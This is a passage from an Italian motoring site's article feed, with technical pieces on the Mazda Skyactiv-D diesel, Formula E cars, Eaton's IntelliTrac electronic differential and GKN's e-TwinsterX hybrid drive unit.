leggermente più gasolio. Quando in diesel c&#8217;è una riduzione del rapporto di compressione,  l&#8217;accensione della miscela richiede più tempo consentendo una migliore miscelazione di aria e carburante, con una combustione più uniforme senza avere aree con picchi localizzati ad alta temperatura e zone con un apporto insufficienze di ossigeno.</p>
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<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-72338" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-d_04_en-300x225.png" alt="skyactiv d 04 en" width="300" height="225" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 839" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_04_en-300x225.png 300w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_04_en-265x198.png 265w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_04_en.png 337w" sizes="(max-width: 300px) 100vw, 300px" />Il basso rapporto di compressione, consente allo SKYACTIV-D di avere minori sollecitazioni in fase di combustione, il che porta anche un diverso dimensionamento delle componenti del motore, dai pistoni, fino al monoblocco nella sua interezza, per un risparmio di peso complessivo nell&#8217;ordine del 25% totale, il che consente allo Skyactiv-D di avere un peso di un&#8217;analogo ad motore di pari cilindrata a benzina. Il lavoro fatto dai tecnici giapponesi non è stato comunque esente da problemi. Abbassare il rapporto di compressione può creare difficoltà di avviamento a freddo, ed accensioni non omogenee del gasolio nelle fasi critiche del riscaldamento. Gli iniettori piezoelettrici multi-foro consentono di variare il numero delle iniezioni,  la loro frequenza, la concentrazione della miscela, garantendo un perfetto avviamento a freddo.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-72339" src="https://www.giornalemotori.com/wp-content/uploads//2018/02/skyactiv-d_06-300x194.jpg" alt="skyactiv d 06" width="300" height="194" title="Mazda | La nuova generazione di motori Skyactiv benzina e diesel 840" srcset="https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_06-300x194.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2018/02/skyactiv-d_06.jpg 318w" sizes="(max-width: 300px) 100vw, 300px" />Nella fattispecie il nuovo iniettore può produrre fino ad un massimo di 9 iniezioni, che possono essere suddivise in pre-iniezione, iniezione principale e post-iniezione, utilizzate in base alle esigenze di utilizzo da parte del guidatore.  Nella fase di risaldamento,  la Mazda una un sistema denominato VVL,  ovvero alzata variabile della valvola di scarico. Un sistema che consente di tenere aperta la valvola durante la corsa di aspirazione per richiamare il gas di scarico caldo all&#8217;interno del cilindro, in questo modo viene aumentata la temperatura dell&#8217;aria, aumentando la temperatura di compressione, stabilizzando l&#8217;accensione.  Infine lo Skiactiv-D si dota di due turbocompressori, un turbo piccolo per ottenere un&#8217;elevata coppia con una risposta immediata ai bassi ed un turbo di dimensioni più generose in serie per ottenere un&#8217;elevata potenza agli alti regimi. In questa configurazione il nuovo diesel Mazda oltre ad essere uno dei più puliti ed efficienti del mercato, con consumi bassi, garantisce una potenza di 190cv e 450Nm di coppia massima.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Formula E &#124; la tecnica delle monoposto elettriche 2017-2018</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 05 Dec 2017 10:50:24 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La prima gara di Formula E ha richiesto da parte nostra un focus tecnico sulla tecnologia alla base di uno dei campionati più controversi e innovativi del panorama motoristico mondiale. Per capire la Formula E dal punto di vista tecnico, si deve fare una piccola escursione partendo dalle origini.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/12/05/formula-e-tecnica/">Formula E | la tecnica delle monoposto elettriche 2017-2018</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-71429" src="https://www.giornalemotori.com/wp-content/uploads//2017/12/m3electro-info-blueprints-685X455px-300x199.jpg" alt="m3electro info blueprints 685X455px" width="300" height="199" title="Formula E | la tecnica delle monoposto elettriche 2017-2018 841">La prima gara di Formula E ha richiesto da parte nostra un focus tecnico sulla tecnologia alla base di uno dei campionati più controversi e innovativi del panorama motoristico mondiale. Per capire la Formula E dal punto di vista tecnico, si deve fare una piccola escursione partendo dalle origini. Il patron Alejandro Agag, ha voluto portare le vetture da corsa a portata di mano della gente, nel centro delle città dove la questione inquinamento è quanto mai all&#8217;ordine del giorno, e non c&#8217;era altra alternativa che usare la propulsione elettrica. Una idea che ha riscontrato lo scetticismo di tutti, tranne Jean Todt presidente Fia che ha dato fiducia ad Agag e collaborazione fin dall&#8217;inizio.  Uno degli obiettivi era quello di tenere bassi i costi per attirare team in un mondo che era una scommessa. Per tenere bassi i costi serviva un telaio ed una aerodinamica unica, progettata dal migliore che ci sia sul mercato, Dallara, una fornitura unica per gomme Michelin, che ha sfruttato l&#8217;occasione per usare una copertura molto simile a quella stradale che vende per le vetture sportive.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-71430" src="https://www.giornalemotori.com/wp-content/uploads//2017/12/m3electro-blueprints-2-685X455px-1-300x199.jpg" alt="m3electro blueprints 2 685X455px 1" width="300" height="199" title="Formula E | la tecnica delle monoposto elettriche 2017-2018 842">La parte elettrica è la vera e propria novità, in un primo momento prevedeva una batteria unica progettata e prodotta da Williams, gestita da un inverter, un sistema di propulsione elettrica con doppio motore e con scatola del cambio progettata dalla McLaren per tutti. I team che si cimentavano nel campionato dovevano solo gestire il telaio e la parte elettrica. Nonostante l&#8217;adesione di molte aziende che avevano componenti elettrici per autotrazione nel loro catalogo, come Quacomm, Schaeffler, Marelli, queste non potevano usare la loro tecnologia limitandosi solo ad inserire il loro nome come gestore delle monoposto. Un problema che rischiava di frenare lo sviluppo di un campionato che stava promettendo bene fin dalla prima stagione.  Nella seconda edizione La Fia assieme ad Agag corre ai ripari, consentendo ai costruttori di sviluppare propri propulsori all&#8217;interno di paletti ben definiti dal regolamento tecnico. L&#8217;appetito vien mangiando,  lo spettacolo delle gare aumenta,  quindi è giusto fare un altro passo in avanti dal punto di vista tecnologico, lasciando più spazio ai singoli team per sviluppare la power unit.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-71431" src="https://www.giornalemotori.com/wp-content/uploads//2017/12/season-3-of-formula-e-image-3-300x199.jpg" alt="season 3 of formula e image 3" width="300" height="199" title="Formula E | la tecnica delle monoposto elettriche 2017-2018 843">La prima ad approfittarne nella terza edizione del campionato è stato il team DS Virgin che ha optato per un motore singolo al posto dei due motori classici, montato trasversalmente e un cambio a due velocità simile, uno schema che rappresenta una variante di quello che già aveva sperimentato la Renault Sport nella seconda stagione eliminando il cambio a più velocità eliminando di fatto la scatola del cambio che era caratteristica del primo anno, per una drive line collegata direttamente al motore con presa diretta che consente al massimo due marce a seconda della volontà di utilizzo del team. Questo schema è grossomodo applicato alle monoposto protagoniste della quarta stagione del campionato di Formula E, ed andiamo a vedere nel dettaglio come è formata. La batteria continua ad essere unica per tutti i team ed è prodotta da Williams, ma nella prossima stagione sarà prevista una evoluta progettata dalla McLaren.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-71432" src="https://www.giornalemotori.com/wp-content/uploads//2017/12/ext-300x188.jpg" alt="ext" width="300" height="188" title="Formula E | la tecnica delle monoposto elettriche 2017-2018 844">Il controllo del motore elettrico a 6 fasi avviene attraverso un inverter, , entrambi Magneti Marelli, ed un cambio a presa diretta po due velocità,  il tutto fruttando il nuovo sistema di recupero di energia controllato sia in automatico che attraverso il volante del pilota.  Nel dettaglio Il telaio ha un design simile a quanto visto sulle Formula Indy, progettate anche queste da Dallara, ed ha il compito di assicurare la massima efficienza aerodinamica unita ad accorgimenti per evitare che ad un eventuale contatto possano decollare. L&#8217;ala anteriore protegge il pneumatico in tutta la sua interezza, la fiancata si allarga fino a coprire il pneumatico posteriore e dietro c&#8217;è una sorta di paraurti che protegge dai contatti. La batteria ad oggi è progettata e fornita dalla Williams, ed è costituita da celle ad Ioni di Litio, raffreddata ad acqua, incastonata un una struttura telaistica direttamente progettata da Dallara.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-71434" src="https://www.giornalemotori.com/wp-content/uploads//2017/12/april_fools_twitter_post_text_v2-300x158.jpg" alt="april fools twitter post text v2" width="300" height="158" title="Formula E | la tecnica delle monoposto elettriche 2017-2018 845" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/12/april_fools_twitter_post_text_v2-300x158.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/12/april_fools_twitter_post_text_v2.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" />Nel complesso la batteria più cella di protezione pesa 320kg, con una capacità di immagazzinare energia per 28KW/h. Nella prossima stagione la batteria sarà sostituita da un elemento progettato da McLaren più leggera, con capacità maggiore e più efficiente.  L&#8217;inverter è un sistema elettronico  di ingresso/uscita che varia la tensione e la frequenza della corrente alternata in uscita rispetto a quella in entrata. Il motore elettrico è un motore sincrono in corrente alternata la cui velocità di rotazione è sincronizzata con la la frequenza elettrica.  Comunemente si tratta di motori con alimentazione trifase, ma la Magneti Marelli ne ha sviluppato uno che lavora a 6 fasi che eroga la potenza di 200Kw, pari a 270cv. La rigenera delle batterie avviene nelle fasi passive attraverso il motore elettrico principale e l&#8217;impianto frenante che è composto anche da un classico sistema con dischi e pinze in carbonio che lavora solo nelle fasi in cui la rigenera non è consentita per motivi regolamentari.</p>
<p><strong>Daniele Amore</strong></p>
<div class="youtube-embed" data-video_id="KsCKrixx5Qk"><iframe loading="lazy" title="How Are Formula E Cars Different In Season 3?" width="696" height="392" src="https://www.youtube.com/embed/KsCKrixx5Qk?start=3&#038;feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>&nbsp;</p>
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		<title>Best Tech &#124; Il differenziale a slittamento LSD si evolve e diventa IntelliTrac</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 15 Oct 2017 07:03:40 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La Eaton ha presentato un sistema denominato IntelliTrac o eLSD, che abbina l'azione del differenziale ad un controllo elettronico. L'IntelliTrac può controllare la distribuzione di coppia che può variare da completamente aperta a completamente  piena chiusura.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70303" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/Eaton-IntelliTrac-RWD-300x215.jpg" alt="Eaton IntelliTrac RWD" width="300" height="215" title="Best Tech | Il differenziale a slittamento LSD si evolve e diventa IntelliTrac 846" srcset="https://www.giornalemotori.com/wp-content/uploads/2017/10/Eaton-IntelliTrac-RWD-300x215.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2017/10/Eaton-IntelliTrac-RWD.jpg 460w" sizes="(max-width: 300px) 100vw, 300px" />Uno degli elementi della catena cinematica che porta il moto alle ruote che ha un importanza fondamentale per il controllo del veicolo è il differenziale. In questa trattazione vogliamo portare all&#8217;attenzione dell&#8217;appassionati gli sviluppi futuri che questo elemento soprattutto nelle sue versioni a slittamento limitato avrà nei prossimi anni con l&#8217;ausilio dell&#8217;elettronica. Prima va fatta una premessa per rendere comprensibile a tutti l&#8217;utilità del differenziale. Si tratta dell&#8217;elemento che serve a portare il moto alle ruote proveniente dal cambio, cercando di adeguare per quanto è possibile la differenza di velocità e di coppia tra le due ruote. Il differenziale è costituito da una gabbia all&#8217;interno della quale vengono montati due ingranaggi chiamati satelliti a loro volta collegati con altri due ingranaggi di tipo conico chiamati planetari solidali direttamente con i semialberi che portano il ruoto in modo definitivo alle ruote.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70304" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/1302165871001_5438096707001_5146578027001-vs-300x169.jpg" alt="1302165871001 5438096707001 5146578027001 vs" width="300" height="169" title="Best Tech | Il differenziale a slittamento LSD si evolve e diventa IntelliTrac 847">Quando si verifica una perdita di aderenza da parte di una delle ruote, questa sottrae coppia all&#8217;altra fino a bloccarsi del tutto, mentre la prima gira completamente a vuoto. Per evitare questo fenomeno si usano differenziali di tipo autobloccante che consentono mediante bloccaggio del sistema di gestire più uniformemente la coppia ai due semilaberi.  In alcuni casi si può arrivare anche totale bloccaggio come per veicoli dedicati al fuoristrada per il superamento di ostacoli particolarmente impervi. Ci sono varie tipologie di differenziale autobloccante per veicoli,  TorSen, Giunto Feguson  e quello Slittamento limitato LSD.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70305" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/1302165871001_5438128641001_5173624482001-vs-300x169.jpg" alt="1302165871001 5438128641001 5173624482001 vs" width="300" height="169" title="Best Tech | Il differenziale a slittamento LSD si evolve e diventa IntelliTrac 848">In sistensi, ma non troppo, il TorSen viene  dall&#8217;unione delle parole Torque e Sensing, ed è un sistema che letteralmente i può dire sensibile alla variazione di coppia, particolarmente usato su vetture a trazione integrale, ma anche per vetture a trazione anteriore per gestire la differenza di coppia in accelerazione. Il TorSen è di tipo meccanico ad ingranaggi e funziona sottraendo la coppia alla velocità della ruota che slitta, cosa che lo rende inefficace se questa è bloccata del tutto.  Il Giunto Feguson collega i due semialberi in maniera non rigida, ma attraverso un pacco di dischi che gestiscono immersi in un liquido siliconico. Le differenze di velocità di rotazione delle due ruote, portano al trasferimento di coppia fino a bloccarlo del tutto, come un differenziale meccanico. Il suo intervento,  relativamente dolce, lo rende idoneo per la sua azione ottimale per il confort e la facilità di controllo da parte del conducente.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70306" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/pct_211714-300x254.jpg" alt="pct 211714" width="300" height="254" title="Best Tech | Il differenziale a slittamento LSD si evolve e diventa IntelliTrac 849">Abbiamo lasciato per ultimo il differenziale a slittamento limitato o altrimenti detto LSD.  In genere anche questi sono basati su un sistema a frizione, e possono essere a tre vie di intervento. Si dice ad 1 Via quando l&#8217;azione del differenziale avviene solo in accelerazione rimanendo aperto in decelerazione. Ad 2 Vie quando prevede un azione di bloccaggio anche in decelerazione in egual misura ed una terza opzione 1.5 Vie dove l&#8217;azione in decelerazione è minore rispetto a quanto avviene in accelerazione. LSD per effetto della sua versatilità soprattutto nella configurazione 1.5 Vie è il più usato per il veicoli stradali.  Proprio questo tipo di differenziale è oggetto oggi di una evoluzione che lo porta ad essere maggiormente efficacie nella sua azione. La Eaton ha presentato un sistema denominato IntelliTrac o eLSD, che abbina l&#8217;azione del differenziale ad un controllo elettronico. L&#8217;IntelliTrac può controllare la distribuzione di coppia che può variare da completamente aperta a completamente  piena chiusura. Una centralina elettronica, mediante un algoritmo preimpostato che tiene conto delle informazioni che arrivano dai sensori di bordo, attiva una pompa elettroidarulica che agisce con un tempo di risposta che può variare da 200 millisecondi fino a 100 millisecondi nelle regolazioni più aggressive l&#8217;azione delle frizioni all&#8217;interno del differenziale.  Il liquido in pressione spinge a seconda delle necessità il pacco lemellare per avere più o meno attrito e trasferire tra le due ruote esattamente la coppia necessaria.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70307" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/eaton3-6a18332e2ac6f026-300x201.jpeg" alt="eaton3 6a18332e2ac6f026" width="300" height="201" title="Best Tech | Il differenziale a slittamento LSD si evolve e diventa IntelliTrac 850">Il vantaggio maggiore sta nel miglioramento del controllo di stabilità del veicolo, reindirizzando la coppie tra le ruote con maggiore efficacia ed un migliore maggiore controllo rispetto ai già diffusamente usati sistemi che controllano la trazione attraverso la frenatura delle ruote con le pinze dei freni, soprattutto con un&#8217;azione progressiva e più dolce per il driver, oppure il controllo della  potenza sulla farfalla di alimentazione, come succede in alcuni sistemi TCS.  Nelle vetture dotate di trazione posteriore l&#8217;IntelliTrac può neutralizzare l&#8217;eccesso di coppia che si verifica in fase di partenza, una condizione che tende a scomporre il veicolo in partenza fino a generare un testacoda uniformando l&#8217;azione delle due ruote. In più l&#8217;eLSD può variare l&#8217;azione in fase di frenata rendendo più omogenea l&#8217;azione soprattutto quando si frena su fondi differenziati, evitando perdite di stabilità e riducendo gli spazi di arresto.  Nelle vetture con trazione anteriore, la coppia viene gestita progressivamente migliorando la trazione in curva, e limitando il fenomeno del sottosterzo.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70308" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/sddefault-300x225.jpg" alt="sddefault" width="300" height="225" title="Best Tech | Il differenziale a slittamento LSD si evolve e diventa IntelliTrac 851">In ogni caso il driver avrà un maggiore controllo del veicolo potendo correggere anche manovre molto difficili con azioni facili e controllate di acceleratore e sterzo. Per i driver più ortodossi, quelli che non desiderano avere un controllo che interviene per la gestione della trazione,  soprattutto per quella posteriore, l&#8217;IntelliTrac viene comunque gestito dall&#8217;azione che il pilota fa con il piede sull&#8217;acceleratore e sullo sterzo. Un driver di alto livello potrà fare comunque la differenza sfruttando il limite superiore dettato dalla regolazione dell&#8217;eLSD. Basta pensare che in Formula 1 i driver hanno un manettino che controlla il differenziale con decine di posizioni per avere una scelta di intervento la più ampia possibile.  L&#8217;IntelliTrac attraverso la sua componente elettronica è personalizzabile in funzione delle esigenze adattandosi anche alle necessità del driver più sportivo.  La compattezza del sistema che per inciso pesa quasi 10kg meno di un analogo LSD classico, consente di essere maggiormente efficiente e con la sua azione controllata sulle due ruote permette anche di tenere sotto controllo i consumi.</p>
<p><strong>Daniele Amore</strong></p>
<div class="youtube-embed" data-video_id="lVzWbnUFoJs"><iframe loading="lazy" title="Eaton IntelliTrac electronic limited-slip differential front wheel drive features" width="696" height="392" src="https://www.youtube.com/embed/lVzWbnUFoJs?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<div class="youtube-embed" data-video_id="GYUdFWzwgeM"><iframe loading="lazy" title="Eaton IntelliTrac electronic limited slip differential rear wheel drive features" width="696" height="392" src="https://www.youtube.com/embed/GYUdFWzwgeM?feature=oembed&#038;enablejsapi=1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
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		<title>Best Engine &#124; GKN e-TwinsterX la soluzione geniale per l&#8217;ibrido</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 06 Oct 2017 09:27:35 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[e-twinsterx]]></category>
		<category><![CDATA[gkn]]></category>
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					<description><![CDATA[<p>In particolare alcune soluzioni prevedono la progettazione dell'intero comparto sospensioni per adottare il motore elettrico e differenziale, altri possono essere abbinati ad ogni tipo di telaio con leggere modifiche di progettazione delle geometrie dei componenti dell'asse. Uno dei produttori che ha fatto un deciso passo avanti in questo campo è GKN, con la presentazione del sistema e-TwinsterX</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2017/10/06/best-engine-e-twinterx-gkn-ibrido/">Best Engine | GKN e-TwinsterX la soluzione geniale per l&#8217;ibrido</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70165" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/etwinsterx-cut-model-with-sideshafts-780x488-min-300x188.jpg" alt="etwinsterx cut model with sideshafts 780x488 min" width="300" height="188" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 852">La via verso l&#8217;elettrificazione è tracciata e non si torna indietro. Tutti i brand o quasi stanno adottando tecnologia sia full elettrico, ma anche passaggi graduali dalla meccanica pura attraverso l&#8217;adozione di sistemi ibridi più o meno complessi. Come abbiamo anticipato subito dopo il Salone di Francoforte dove c&#8217;era una grossa presenza di aziende che producono componentistica ed ingegnerizzazione per i grandi brand dell&#8217;automotive, tutti hanno all&#8217;interno dei loro cataloghi propongono una driveline che consente di produrre a costi relativamente bassi vetture ibride o completamente elettriche. Un elemento che è praticamente usato da tutti i produttori è il comparto motore, trazione elettrico adattabile all&#8217;asse delle vetture dove non c&#8217;è trazione. In particolare alcune soluzioni prevedono la progettazione dell&#8217;intero comparto sospensioni per adottare il motore elettrico e differenziale, altri possono essere abbinati ad ogni tipo di telaio con leggere modifiche di progettazione delle geometrie dei componenti dell&#8217;asse. Uno dei produttori che ha fatto un deciso passo avanti in questo campo è GKN, con la presentazione del sistema e-TwinsterX</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70166" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/11-11-240x300.png" alt="11 11" width="240" height="300" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 853">Il sistema è composta da un motore elettrico, abbinato ad un cambio a doppia velocità ed un differenziale a doppia frizione che funge da torque vectoring. Detta così sembra ne più e ne meno lo stesso sistema che già usano i maggiori concorrenti, ma la GKN ha lavorato riducendo le dimensioni complessive creando un componente che ha tutti i tre gli elementi in linea su un solo asse. Un vantaggio di compattezza, di peso ridotto e di versatilità unico nel panorama di questo tipo di elementi. La compattezza del sistema consente all&#8217;eTwinsterX di essere montato su entrambi gli assi per trasformare un veicolo a singola trazione in trazione integrale, indipendentemente che all&#8217;origine sia anteriore o posteriore,  con un molteplici vantaggi dinamici e di sicurezza. La vera potenzialità è quella di poter trasformare la maggioranza dei veicoli oggi in produzione e di prossima diffusione in ibridi sfruttando la doppia motorizzazione su due assi riducendo al minimo l&#8217;intervento del motore endotermico migliorando l&#8217;efficienza del sistema nel suo complesso.  Inutile dire che la naturale applicazione dell&#8217;eTwinsterX è per i SUV sostituendo il differenziale posteriore  con pochissime modifiche allo schema sospensivo già esistente. In questo modo un SUV assolve alla sua funzione di trazione integrale, la quale  avviene in modo elettrico combinato, migliorando anche la dinamica di guida grazie all&#8217;azione differenziata sulle singole ruote.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70170" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/VolvoXC90_Hybrid2-1024x683-300x200.jpg" alt="VolvoXC90 Hybrid2 1024x683" width="300" height="200" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 854">La vera novità assoluta dell&#8217;eTwinsterX è il suo cambio abbinato a due marce.  Il sistema sfrutta una marcia ridotta per avere un maggiore spunto in partenza per per vincere l&#8217;inerzia dovuta peso del veicolo quando parte da fermo, garantendo un accelerazione ottimale. La seconda marcia  serve ad ottimizzare il funzionamento del motore elettrico che viene messo nelle condizioni di lavorare sempre nel regime ottimale per l&#8217;erogazione di coppia ed efficienza, anche con un incremento della velocità costante e regolare senza eccedere con il salire di giri.  Il sistema può gestire fino al picco massimo di  3.500Nm, con un rapporto di marcia di  1:17. Il fatto di avere tutti i componenti disposti in modo coassiale ha consentito di rinunciare al classico albero di rimando per portare la  trazione alle ruote migliorando in modo sostanziale le perdite per attrito. L&#8217;e-TwinsterX lavora cambiando velocità in modo dolce ed impercettibile, grazie ad un lavoro di affinamento ed ottimizzazione del comparto frizioni del cambio a doppia velocità.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70171" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/Volvo-XC90-T8-eTwinster-prototype-PLACEMENT-626x382-300x183.jpg" alt="Volvo XC90 T8 eTwinster prototype PLACEMENT 626x382" width="300" height="183" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 855">Il controllo della coppia tre le due ruote è affidata al Torque Vectoring che usa due frizioni, ognuna delle quali è grado di gestire fino 2.000 Nm per lato,  direzionando la coppia alle ruote esterne in funzione delle necessità. Il Torque Vectoring così concepito consente di rinunciare di fatto al differenziale classico, riducendo peso e migliorando la compattezza del sistema,  assicurando comunque la massima trazione in strada e fuoristrada con un blocco che a detta dei tecnici presenti a Francoforte può arrivare anche al 100% come succede con i differenziali meccanici quando necessita di off road estremo. Il Torque Vectoring controlla la coppia che arriva alle ruote in percorrenza di curva, quando il conducente toglie gas, il sistema stabilizza il veicolo, creando le condizioni di sottosterzo indotto molto più semplice da controllare per ogni tipologia di conducente. Un altro aspetto importantissimo è la possibilità di recupero di energia cinetica in frenata che può essere riutilizzata in fase successiva.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70182" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/GKN-eTwinsterX-7-300x178.jpg" alt="GKN eTwinsterX 7" width="300" height="178" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 856">In fase di partenza c&#8217;è una maggiore stabilità di trazione soprattutto su fondi differenziati, oppure per gestire gli eccessi di potenza che possono creare fenomeni di sbandamento in trazione da fermo.  Questa  tecnologia può fornire anche un&#8217;efficace controllo dello slittamento limitato, con la differenza che al posto di frenare la ruota con eccesso di coppia si può accelerare quella che ne ha di meno. Utilizzando un&#8217;architettura con assale a doppio motore elettrico indipendente, è possibile programmare una gamma di differenti effetti dinamici e funzioni anche per l&#8217;off-road, mediante un controllo dell&#8217;azione separata sulle ruote. La grande versatilità dell&#8217;eTwinsterX consente di viaggiare in completa modalità elettrica,  con la sola trazione posteriore, oppure come ibrido integrale bilanciando la trazione tra anteriore e posteriore in base alle necessità migliorando il consumo di energia in funzione delle necessità anche spegnendo il sistema sull&#8217;asse posteriore restando solo con trazione anteriore.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70183" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/gkn-etwinsterx-01-300x200.jpg" alt="gkn etwinsterx 01" width="300" height="200" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 857"> Dal punto di vista dinamico il controllo per i veicoli con una caratterizzazione più sportiva l&#8217;eTwinsteX può decidere di dare prevalenza ad un comportamento sottosterzante o sovrasterzante e seconda delle necessità senza che il conducente avverta il passaggio in modo brusco.  Nel caso venga utilizzato per vetture completamente ad alimentazione elettriche gli interventi possono essere ancora più accurati e differenziati da ruota a ruota, per un controllo assoluto della dinamica del veicolo. Per esempio  può produrre una coppia negativa per rallentare una singola ruota del veicolo usando la frenata in modo rigenerativo, assicurando una quantità di energia più elevata ed un suo utilizzo più efficiente, il tutto per migliorare l&#8217;autonomia delle batterie.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-70184" src="https://www.giornalemotori.com/wp-content/uploads//2017/10/front_cam_saida_01-920x575-min-300x188.jpg" alt="front cam saida 01 920x575 min" width="300" height="188" title="Best Engine | GKN e-TwinsterX la soluzione geniale per l&#039;ibrido 858">Se qualcuno pensa che tutto ciò sia deleterio per il divertimento alla guida, I tecnici GKN assicurano che il maggiore controllo dei sistemi permette ad un  pilota esperto di trovare comunque il modo di sfruttare al meglio l&#8217;elettronica per superare i limiti analogici dovuta alla percezione dei propri sensi e la lentezza nel percepire le sensazioni che trasmette il telaio, mentre gli altri utenti apprezzeranno la stabilità, la trazione e la semplicità di guida anche in condizioni limite, a prova di Alce. La forza del sistema eTwinsterX per il suo costo ridotto, e la sua compattezza può aiutare l&#8217;industria dei motori elettrici a sua volta a creare propulsori più piccoli ed efficienti. Ad oggi l&#8217;eTwinster garantisce una potenza aggiuntiva che va dai 60Kw (81cv) agli 80kW (110cv) per 10kW/h, garantendo una percorrenza in full elettrico che va dai 30 ai 50km. In futuro, con batterie più piccole e più potenti tale potenza ed autonomia aumenterà, già sono allo studio sistemi con potenze di 100Kw (136cv) a 150kW (200cv). La diffusione a tappeto di questo tipo di sistemi, sta nel fatto che  una nuova tecnologia per essere accettata dagli utenti, deve avere costi, facilità di utilizzo ed anche piacere nel guidarla, oltre che sicurezza, pari alla tecnologia esistente. Una volta che il punto di pareggia sarà raggiunto, e le infrastrutture di ricarica saranno disponibili come le odierne stazioni di servizio, allora il sistema vedrà il suo massimo utilizzo, intanto si continua ad evolvere. Il sistema eTwinsterX è un passo deciso che costringerà anche altri produttori di componentistica ad adeguarsi ed a loro volta provare ad andare avanti con lo sviluppo.</p>
<p style="text-align: justify">Ad oggi l&#8217;eTwinsterx è utilizzato da SUV di grossa taglia ibridi dome la Volvo V90 nella versione T8, abbinato al motore T6 turbo  che raggiunge e gestisce circa 400cv, vettura che avremo modo di provare, ma una versione semplificata è prevista anche per la BMW per la gamma i8 abbinato al 1.5 litri 3 cilindri turbo per ottenere la massima potenza, ed infine dimostrazione di quanto il sistema sia versatile ed adatto anche alla guida al limite usato dalla Porsche 918 Spider, una delle Ipercar più veloci del mondo. GKN con l&#8217;eTwinsterX dimostra che anche i brand che hanno un certo ritardo tecnico nello sviluppo di sistemi ibridi ed elettrici possono affidarsi ad aziende leader nella progettazione e realizzazione ammortizzando costi, e riducendo i tempi di recupero sulla concorrenza.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Best Engine &#124; Il motore 2.0 Litri Drive-e T5 e T6 di Volvo</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 17 Sep 2017 06:00:55 +0000</pubDate>
